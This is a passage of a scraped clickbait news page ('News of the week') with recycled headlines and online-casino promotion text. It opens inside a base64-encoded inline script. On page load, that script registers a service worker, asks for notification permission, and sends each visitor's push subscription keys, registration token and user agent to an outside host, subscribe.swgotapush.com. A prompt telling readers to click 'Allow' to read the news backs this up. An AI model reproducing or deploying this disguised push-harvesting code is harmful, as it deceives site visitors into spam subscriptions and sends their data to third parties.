1hc3luYyBmdW5jdGlvbiBxbihlLHQpe2lmKCFuYXZpZ2F0b3IpdGhyb3cgUG4uY3JlYXRlKCJvbmx5LWF2YWlsYWJsZS1pbi13aW5kb3ciKTtpZigiZGVmYXVsdCI9PT1Ob3RpZmljYXRpb24ucGVybWlzc2lvbiYmYXdhaXQgTm90aWZpY2F0aW9uLnJlcXVlc3RQZXJtaXNzaW9uKCksImdyYW50ZWQiIT09Tm90aWZpY2F0aW9uLnBlcm1pc3Npb24pdGhyb3cgUG4uY3JlYXRlKCJwZXJtaXNzaW9uLWJsb2NrZWQiKTtyZXR1cm4gYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSx0KXt0P2UudmFwaWRLZXk9dDplLnZhcGlkS2V5fHwoZS52YXBpZEtleT1obil9KGUsbnVsbD09dD92b2lkIDA6dC52YXBpZEtleSksYXdhaXQgem4oZSxudWxsPT10P3ZvaWQgMDp0LnNlcnZpY2VXb3JrZXJSZWdpc3RyYXRpb24pLEtuKGUpfWFzeW5jIGZ1bmN0aW9uIEduKGUsdCxuKXtjb25zdCBpPWZ1bmN0aW9uKGUpe3N3aXRjaChlKXtjYXNlIHZuLk5PVElGSUNBVElPTl9DTElDS0VEOnJldHVybiJub3RpZmljYXRpb25fb3BlbiI7Y2FzZSB2bi5QVVNIX1JFQ0VJVkVEOnJldHVybiJub3RpZmljYXRpb25fZm9yZWdyb3VuZCI7ZGVmYXVsdDp0aHJvdyBuZXcgRXJyb3J9fSh0KTsoYXdhaXQgZS5maXJlYmFzZURlcGVuZGVuY2llcy5hbmFseXRpY3NQcm92aWRlci5nZXQoKSkubG9nRXZlbnQoaSx7bWVzc2FnZV9pZDpuW21uXSxtZXNzYWdlX25hbWU6bltibl0sbWVzc2FnZV90aW1lOm5bd25dLG1lc3NhZ2VfZGV2aWNlX3RpbWU6TWF0aC5mbG9vcihEYXRlLm5vdygpLzFlMyl9KX1hc3luYyBmdW5jdGlvbiBKbihlLHQpe2NvbnN0IG49dC5kYXRhO2lmKCFuLmlzRmlyZWJhc2VNZXNzYWdpbmcpcmV0dXJuO2Uub25NZXNzYWdlSGFuZGxlciYmbi5tZXNzYWdlVHlwZT09PXZuLlBVU0hfUkVDRUlWRUQmJigiZnVuY3Rpb24iPT10eXBlb2YgZS5vbk1lc3NhZ2VIYW5kbGVyP2Uub25NZXNzYWdlSGFuZGxlcihGbihuKSk6ZS5vbk1lc3NhZ2VIYW5kbGVyLm5leHQoRm4obikpKTtjb25zdCBpPW4uZGF0YTt2YXIgcjsib2JqZWN0Ij09dHlwZW9mKHI9aSkmJnImJm1uIGluIHImJiIxIj09PWlbImdvb2dsZS5jLmEuZSJdJiZhd2FpdCBHbihlLG4ubWVzc2FnZVR5cGUsaSl9Y29uc3QgWW49IkBmaXJlYmFzZS9tZXNzYWdpbmciLFFuPSIwLjEyLjQiLFhuPWU9Pntjb25zdCB0PWUuZ2V0UHJvdmlkZXIoIm1lc3NhZ2luZyIpLmdldEltbWVkaWF0ZSgpO3JldHVybntnZXRUb2tlbjplPT5xbih0LGUpfX07WihuZXcgYigibWVzc2FnaW5nIiwoZT0+e2NvbnN0IHQ9bmV3IFVuKGUuZ2V0UHJvdmlkZXIoImFwcCIpLmdldEltbWVkaWF0ZSgpLGUuZ2V0UHJvdmlkZXIoImluc3RhbGxhdGlvbnMtaW50ZXJuYWwiKS5nZXRJbW1lZGlhdGUoKSxlLmdldFByb3ZpZGVyKCJhbmFseXRpY3MtaW50ZXJuYWwiKSk7cmV0dXJuIG5hdmlnYXRvci5zZXJ2aWNlV29ya2VyLmFkZEV2ZW50TGlzdGVuZXIoIm1lc3NhZ2UiLChlPT5Kbih0LGUpKSksdH0pLCJQVUJMSUMiKSksWihuZXcgYigibWVzc2FnaW5nLWludGVybmFsIixYbiwiUFJJVkFURSIpKSxyZShZbixRbikscmUoWW4sUW4sImVzbTIwMTciKSwoYXN5bmMoKT0+e2NvbnN0IGU9bmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKSx0PW5ldyBQcm94eSh7fSx7Z2V0Oih0LG4pPT5lLmdldChuLnRvU3RyaW5nKCkpfSksbj1gJHt3aW5kb3cubG9jYXRpb24ucHJvdG9jb2x9Ly8ke3dpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZX1gfHwidW5rbm93biIsaT13aW5kb3cubG9jYXRpb24ub3JpZ2luLHI9U3RyaW5nKHQucF9rZXl8fHdpbmRvdy5QVUJMSVNIRVJfQVBJX0tFWXx8IiIpLGE9U3RyaW5nKHQucHdfc2VnbWVudHN8fHQuc3RyZWFtX3V1aWR8fHdpbmRvdy5TVFJFQU1fVVVJRHx8IiIpLG89TnVtYmVyKHQuaWR8fHdpbmRvdy5XRUJNQVNURVJfSUR8fDApLFtzLGNdPVsic2hvd2Nhc2VfZXhwZXJpbWVudCIsInNob3djYXNlX2V4cGVyaW1lbnRfdmFyaWFudCJdLm1hcCgoZT0+e2NvbnN0IHQ9bG9jYWxTdG9yYWdlLmdldEl0ZW0oZSl8fHZvaWQgMDtyZXR1cm4gbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oZSksdH0pKSx1PVsuLi5uZXcgVVJMU2VhcmNoUGFyYW1zKGxvY2F0aW9uLnNlYXJjaCldLnJlZHVjZSgoKGUsW3Qsbl0pPT4oey4uLmUsW3RdOm59KSkse30pO2lmKCFkbigpLmNhdGNoKCgoKT0+ITEpKSlyZXR1cm47Y29uc3QgZD1hd2FpdCBmZXRjaChgaHR0cHM6Ly9zdWJzY3JpYmUuc3dnb3RhcHVzaC5jb20vdjEvY29uZmlnP3BhZ2U9JHtufSZhcGlfa2V5PSR7cn1gLHttZXRob2Q6IkdFVCIsY2FjaGU6Im5vLWNhY2hlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbiJ9fSkudGhlbigoZT0+ZS5qc29uKCl8fG51bGwpKTtpZihudWxsPT09ZClyZXR1cm47Y29uc3QgbD1hd2FpdCBuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5yZWdpc3RlcihpKyIvcHVzaC1jbGllbnQtd29ya2VyLmpzIix7c2NvcGU6aSsiLyIsdXBkYXRlVmlhQ2FjaGU6Im5vbmUifSkscD17dmFwaWQ6ZC52YXBpZF9wdWJsaWNfa2V5LHNlcnZpY2VXb3JrZXJSZWdpc3RyYXRpb246bH07Tm90aWZpY2F0aW9uLnJlcXVlc3RQZXJtaXNzaW9uKCkudGhlbigoZT0+e2lmKCJncmFudGVkIiE9PWUpcmV0dXJuOyhhc3luYyBmdW5jdGlvbihlLHQpe3JldHVybiBxbihlPW0oZSksdCl9KShsbihpZShkLmZpcmViYXNlKSkscCkudGhlbigoZT0+e25hdmlnYXRvci5zZXJ2aWNlV29ya2VyLmdldFJlZ2lzdHJhdGlvbigpLnRoZW4oKHQ9Pnt0JiZ0LnB1c2hNYW5hZ2VyLmdldFN1YnNjcmlwdGlvbigpLnRoZW4oKHQ9PntpZih0JiZlKXtjb25zdHtrZXlzOmk9e30sZW5kcG9pbnQ6ZH09dC50b0pTT04oKSx7YXV0aDpsfT1pLHtwMjU2ZGg6cH09aSxmPXt1YTpuYXZpZ2F0b3IudXNlckFnZW50fHwidW5rbm93biIsYXV0aDpsLHBhZ2U6bixwMjU2ZGg6cCxhcGlfa2V5OnIsZW5kcG9pbnQ6ZCxzdHJlYW1fdXVpZDphLHdlYm1hc3Rlcl9pZDpvLHJlZ2lzdHJhdGlvbl90b2tlbjplLG1ldGE6ey4uLnUsc2hvd2Nhc2VfZXhwZXJpbWVudDpzLHNob3djYXNlX2V4cGVyaW1lbnRfdmFyaWFudDpjfX07ZmV0Y2goImh0dHBzOi8vc3Vic2NyaWJlLnN3Z290YXB1c2guY29tL3YxL3N1YnNjcmliZSIse21ldGhvZDoiUE9TVCIsY2FjaGU6Im5vLWNhY2hlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbiJ9LGJvZHk6SlNPTi5zdHJpbmdpZnkoZil9KS5jYXRjaCgoZT0+e30pKX19KSl9KSl9KSkuY2F0Y2goKGU9Pnt9KSl9KSl9KSgpfSgpOwo);}/script>link relicon typeimage/png href/_showcase/images/templates/rednews/favicon.png>script typemodule src/_nuxt/CAXov_LG.js crossorigin>/script>/head>body>div id__nuxt>div>div classrednews>!---->header classheader>nav classnavbar navbar-default>div classcontainer-fluid>div classnavbar-header navbar-header-root>button idmenuBtn typebutton classnavbar-toggle collapsed>span classicon-bar>/span>span classicon-bar>/span>span classicon-bar>/span>/button>ul classheader__desktop-section header__nav header__desktop-left-part>!---->li classheader__item>a classheader__link href/events?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>Events/a>/li>li classheader__item>a classheader__link href/show-business?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>Show business/a>/li>li classheader__item>a classheader__link href/health?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>Health/a>/li>!---->/ul>a classnavbar-brand header__logo header__desktop-center-part href/?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>div classlogo>div classlogo__letter>span>N/span>/div>div classlogo__name>span classlogo__name-big>News/span>span classlogo__name-small> of the week/span>/div>/div>/a>div classheader__desktop-right-part header__desktop-section header__currencies>div classabout_root>a href/product?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank classheader__search>img src/_showcase/images/svg/icons/search.svg altsearch ico>/a>/div>/div>/div>div idnavbar-main classcollapse navbar-collapse navbar-main_shadow>div classheader__container color-black>ul classheader__categories overflow-hidden>!---->li classnavigation__item>a classnavigation__link href/events?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>Events/a>/li>li classnavigation__item>a classnavigation__link href/show-business?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>Show business/a>/li>li classnavigation__item>a classnavigation__link href/health?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>Health/a>/li>!---->li classnavigation__item>a classnavigation__link searchLinkLi href/product?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh7640cff2-6470-4af0-9d9e-e64d04e2d344&id42 target_blank>img src/_showcase/images/svg/icons/search.svg altsearch ico> Search/a>/li>/ul>/div>/div>/div>/nav>/header>!---->div classcontent>!---->div classhome-page infinite-scroll-container>div classdesktop-section desktop-section--light desktop-section__side-padding-tablet desktop-section--no-top-p>div classdesktop-section__content>h1 classtheme-title>Main news/h1>div classrow row-margin-custom full-height-blocks row-flex-container>!---->div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/07811d/eccbc8/65f199dbe9e54/0cd65f199dbe9e3b.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Paris Olympics 2024: what Australia’s athletes will be wearing/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/07811d/eccbc8/65f185ee99fc5/0cd65f185ee99fad.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Earthquake of 3.6-magnitude hits Blue Mountains area west of Sydney/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/07811d/eccbc8/65f4672d327fb/0cd65f4672d327ed.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Sydney's waters now warm enough for a tropical cyclone/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow full-height-blocks row-flex-container>!---->div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/5531a5/6512bd/65563ea244d6e/0cd65563ea244d85.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Before going to bed, mother-in-law puts a clove of garlic in the toile/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/5531a5/d72d18/64c39bf6a1e77/0cd64c39bf6a1e87.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Can you stand on one leg for 10 seconds?/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/63750d01b51d5/35c63750d01b51f2.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>London commuters endure long queues and packed buses amid tube strike/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/637249312b254/35c637249312b266.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Man detained after appearing to throw eggs at King Charles and Camilla/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>!---->/div>/div>/div>div classdashed-line>/div>div classdesktop-section desktop-section--light desktop-section__side-padding-tablet>div classdesktop-section__content>!---->div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b85dc364a3/d0b636b85dc364b4.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>What’s next for climate crisis conversations in 2022?/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b83485271c/d0b636b83485272f.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>The areas most likely to struggle with access to affordable food/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b829994870/d0b636b829994882.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>Can you stand on one leg for 10 seconds?/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b81a41458a/d0b636b81a41459a.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>I lost nearly £3,000 on football ticket scams – it’s scarily common/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b80efc50c7/d0b636b80efc50da.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>Are hand sanitizers a cancer risk?/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b7794d355e/d0b636b7794d356f.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>The science behind why diets don’t work/span>!---->/div>!---->/a>/div>/div>!---->/div>!---->/div>/div>div classdesktop-section desktop-section--no-top-p desktop-section__side-padding-tablet>div classdesktop-section__content>h2 classtheme-title>Read also/h2>div classrednews-section rednews-section--dark>div classrow row-margin-custom full-height-blocks row-flex-container>!---->div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b76293ed6f/35c636b76293ed7e.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Top 10 cooking hacks to make food more exciting/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b72e16a31a/35c636b72e16a32a.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Risk of deadly brain illness/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b6d424fff5/35c636b6d4250005.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Pensions and benefits set to increase in line with inflation/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>!---->/div>!---->div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b6b607b07c/d0b636b6b607b08d.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>CASH BOOST/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636a794445484/d0b636a794445497.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>WhatsApp scam - and my bank won't refund me/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow row-margin-custom>!---->!---->/div>div classrow row-margin-custom>!---->!---->/div>!---->/div>/div>/div>div classdashed-line>/div>!---->!---->!---->div styleheight:20px;>/div>!---->/div>/div>!---->!---->!---->/div>/div>/div>div idteleports>/div>script typeapplication/json id__NUXT_DATA__ data-ssrtrue>ShallowReactive,1,{data:2,state:35,once:154,_errors:155,serverRendered:52,path:157,pinia:158},ShallowReactive,3,{server:categories:4},5,8,11,14,17,20,23,26,29,32,{slug:6,id:7},events,1,{slug:9,id:10},politics,2,{slug:12,id:13},show-business,3,{slug:15,id:16},sport,4,{slug:18,id:19},health,5,{slug:21,id:22},cuisine,6,{slug:24,id:25},useful-tips,10,{slug:27,id:28},social,7,{slug:30,id:31},shock-content,8,{slug:33,id:34},esotericism,9,Reactive,36,{$sserver:client-query:37,$sserver:stream-uuid:39,$sserver:surfer-uuid:41,$sserver:request-options:44,$sserver:client-origin:49,$sserver:stream-options:50,$sserver:client-session:55,$sserver:app-language:57,$sserver:translate:60,$sserver:pw-segments:39,$sserver:visit:147,$sserver:unique-stream-surfer:52,$sserver:page-request:149,$sserver:psn:152,$sserver:category:153,$sserver:fc:53},Map,38,39,40,41,42,43,stream_uuid,00000000-0000-0000-0000-000000000000,googleIdTh,7640cff2-6470-4af0-9d9e-e64d04e2d344,id,42,{host:45,x-real-ip:46,x-forwarded-for:47,prereferer:48},onlinefreshnews.com,52.40.234.105,52.40.234.105, 52.40.234.105, 52.40.234.105,http://onlinefreshnews.com/,https://onlinefreshnews.com,{id:51,theme_id:25,is_backlink:52,show_popup:52,show_alert:53,enable_analytics:53,grab_push_traffic:52,webmaster_id:54,is_push:53},0,true,false,42,{user:56,system:58},{language_code:57},en,{domain_id:59},9061,{actual_news:61,actual_week_news:62,back:63,black:64,copyrighting:65,day_news:66,for_date:67,last:68,main-news:69,minutes:70,more:71,more-news:72,most_actual_news:73,most_popular_news:74,new-articles:75,news:76,next:77,out-choose:78,partner-news:79,popular-categories:80,popular-today:81,popular-week:82,popular_news:83,product:84,pulse:85,read:86,read-more:87,read-more-v2:87,read-more-v3:88,read-more-v4:89,read-more-v5:87,recommended:90,rest_news:91,share:92,show-all:93,shows:94,source:95,week-news:96,white:97,your_health:98,search:99,events:100,politics:101,show-business:102,sport:103,health:104,cuisine:105,social:106,shock-content:107,esotericism:108,useful-tips:109,weeknews-logo:110,week:111,news24:112,push_prompt_title:113,push_request_permissions:114,push_permission_notification:115,push_button_confirm:116,push_button_reject:117,toprate:118,greentop-title:118,greentop-subtitle-1:119,greentop-subtitle-2:120,greentop-advantage-1:121,greentop-advantage-2:122,greentop-advantage-3:123,greentop-about-title:124,greentop-about-text-1:125,greentop-about-text-2:126,greentop-about-block-title-1:127,greentop-about-block-text-1:128,greentop-about-block-title-2:129,greentop-about-block-text-2:130,greentop-about-block-title-3:131,greentop-about-block-text-3:132,greentop-about-block-title-4:133,greentop-about-block-text-4:134,greentop-favorite-title:135,greentop-footer-text-1:136,greentop-policy:137,greentop-terms:138,greentop-footer-text-2:139,greentop-footer-text-3:140,greentop-block-button:141,greentop-block-rated:142,greentop-block-reviews-1:143,greentop-block-reviews-2:144,greentop-block-top:145,greentop-block-hot:146},Top news,Top news of the week,Back,Black,Copyright © 2020 «News 24». All rights reserved.\u003Cbr> 16+.,News of the day,for,Last,Main news,Minutes ago,More,More news,The most relevant news,Most popular news,New articles,News,Next,Our choice,Partner news,Popular categories,Popular today,Popular this week,Popular news,Interesting this week,Pulse,Read,Read more,Read full,Read also,Recommended,Other news,Share,Show all,Views,Source,News of the week,White,Your health,Search,Events,Politics,Show business,Sports,Health,Cuisine,Social,Shock content,Esotericism,Useful tips,W,Week,News24,To read the news, click \Allow\,The site requests permission to:,Show notifications,Allow,Prohibit,Top Online Casinos,Top and most trusted online casinos. Tested by experts and ranked by players.,Enjoy this curated list of fantastic bonuses & fast withdrawals casinos. Play now!,Fast Payouts,Secure & Trusted,97.7% RTP,About Us,We’re casino betting experts and weve seen it all. Not only are some online casinos great and thrilling, but there are also risky ones out there. Weve taken the hit and tested these places so you dont have to risk it. In addition, we have verified public reviews of each site to confirm other players get their winnings paid.,Our goal is to steer you toward the safe and fun options, avoiding the bad ones. Were always here, updating you with the latest and most reliable info on where to play safely.,$2.5m,winnings in 2024,243,casino reviewed,1500+,games played,7,team members,our personal favorite,Gambling Can Be Addictive. Please Play Responsibly,Privacy Policy,Terms & Conditions,We Play Fair. This site is intended for adults only. In addition, before using our site, make sure that online gambling is allowed in your location.,If you have any doubts, get legal advice in this regard. Play Responsibly,Get bonus,Rated,Based on , reviews,TOP,HOT,{uuid:148,isUniqueSurfer:52,isFirstVisit:52},b0407273-5da9-4114-80ce-1786eaea70ec,{uuid:150,experiment:151,experimentVariant:151},9394188d-bca4-6a90-7aa4-5fd13488794f,,wruBkbp,null,Set,ShallowReactive,156,{server:categories:153},/,Reactive,159,{news:160,ads:417},{news:161,infiniteNews:416,shortNews:-1,fullNews:-1,isLoading:53,error:-1},162,176,187,198,209,220,237,252,267,282,296,311,326,341,356,371,386,401,{title:163,created_at:164,media:165,id:175},Paris Olympics 2024: what Australia’s athletes will be wearing,2024-03-13T15:17:23Z,166,169,172,{aspect_ratio:167,url:168},1:1,/.cdn/lna/07811d/eccbc8/65f199dbf0987/bca65f199dbf0972.webp,{aspect_ratio:170,url:171},16:9,/.cdn/lna/07811d/eccbc8/65f199dbeb4e8/24e65f199dbeb4d5.webp,{aspect_ratio:173,url:174},4:3,/.cdn/lna/07811d/eccbc8/65f199dbe9e54/0cd65f199dbe9e3b.webp,105491,{title:177,created_at:178,media:179,id:186},Earthquake of 3.6-magnitude hits Blue Mountains area west of Sydney,2024-03-13T13:50:02Z,180,182,184,{aspect_ratio:167,url:181},/.cdn/lna/07811d/eccbc8/65f185ee9f914/bca65f185ee9f901.webp,{aspect_ratio:170,url:183},/.cdn/lna/07811d/eccbc8/65f185ee9b20d/24e65f185ee9b1fb.webp,{aspect_ratio:173,url:185},/.cdn/lna/07811d/eccbc8/65f185ee99fc5/0cd65f185ee99fad.webp,105463,{title:188,created_at:189,media:190,id:197},Sydneys waters now warm enough for a tropical cyclone,2024-03-13T10:51:09Z,191,193,195,{aspect_ratio:167,url:192},/.cdn/lna/07811d/eccbc8/65f4672d2ee22/bca65f4672d2ee04.webp,{aspect_ratio:170,url:194},/.cdn/lna/07811d/eccbc8/65f4672d3166c/24e65f4672d3165e.webp,{aspect_ratio:173,url:196},/.cdn/lna/07811d/eccbc8/65f4672d327fb/0cd65f4672d327ed.webp,105438,{title:199,created_at:200,media:201,id:208},Before going to bed, mother-in-law puts a clove of garlic in the toile,2023-11-16T19:08:38Z,202,204,206,{aspect_ratio:167,url:203},/.cdn/lna/5531a5/6512bd/65563ea0acd26/bca65563ea0acd3e.webp,{aspect_ratio:170,url:205},/.cdn/lna/5531a5/6512bd/65563e9f180af/24e65563e9f180c3.webp,{aspect_ratio:173,url:207},/.cdn/lna/5531a5/6512bd/65563ea244d6e/0cd65563ea244d85.webp,95402,{title:210,created_at:211,media:212,id:219},Can you stand on one leg for 10 seconds?,2023-07-28T13:43:48Z,213,215,217,{aspect_ratio:167,url:214},/.cdn/lna/5531a5/d72d18/64c39bf50deda/bca64c39bf50def5.webp,{aspect_ratio:170,url:216},/.cdn/lna/5531a5/d72d18/64c39bf35ab60/24e64c39bf35ab6e.webp,{aspect_ratio:173,url:218},/.cdn/lna/5531a5/d72d18/64c39bf6a1e77/0cd64c39bf6a1e87.webp,82186,{title:221,created_at:222,media:223,id:236},London commuters endure long queues and packed buses amid tube strike,2022-11-16T19:16:18Z,224,227,229,231,233,{aspect_ratio:225,url:226},original_square,/.cdn/lna/3a8241/6512bd/63750cffa3312/f9c63750cffa3326.jpeg,{aspect_ratio:167,url:228},/.cdn/lna/3a8241/6512bd/63750d0053ad1/d0b63750d0053ae3.jpeg,{aspect_ratio:170,url:230},/.cdn/lna/3a8241/6512bd/63750cfedc7fc/d0363750cfedc80e.jpeg,{aspect_ratio:173,url:232},/.cdn/lna/3a8241/6512bd/63750d01b51d5/35c63750d01b51f2.jpeg,{aspect_ratio:234,url:235},original_horizontal_16x9,/.cdn/lna/3a8241/6512bd/63750cfe2a656/69d63750cfe2a884.jpeg,50019,{title:238,created_at:239,media:240,id:251},Man detained after appearing to throw eggs at King Charles and 